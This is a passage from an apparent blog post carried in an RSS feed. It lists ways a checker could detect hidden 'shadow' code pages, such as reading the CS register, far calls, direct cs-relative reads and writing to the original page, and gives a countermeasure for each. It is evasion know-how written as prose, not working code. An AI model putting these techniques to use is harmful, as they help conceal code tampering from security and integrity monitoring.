&lt;li&gt;They can check CS, either with &lt;code&gt;mov ax, cs&lt;/code&gt;  or &lt;code&gt;call far&lt;/code&gt; ; both can be avoided as you only expose the value of CS to the pages you &amp;ldquo;map&amp;rdquo; by settings the xd flag so you can read the code to see if those exist&lt;/li&gt;
&lt;li&gt;They can try jumping to their own code with different values of CS and see if it generates an exception, which you can avoid by setting up the segment when it&amp;rsquo;s needed as we get a notification both when we are exiting the shadow section and entering the shadow section.&lt;/li&gt;
&lt;li&gt;They can read from &lt;code&gt;cs:[0xABCD]&lt;/code&gt; directly, which you can avoid by not making your CS value static and following the tip above.&lt;/li&gt;
&lt;li&gt;They can write to the original page and check if the execution matches, which you can avoid by making the page no-write, catching the exception from kernel, virtualizing the instruction to apply to both pages, incrementing IP and then continuing execution.&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>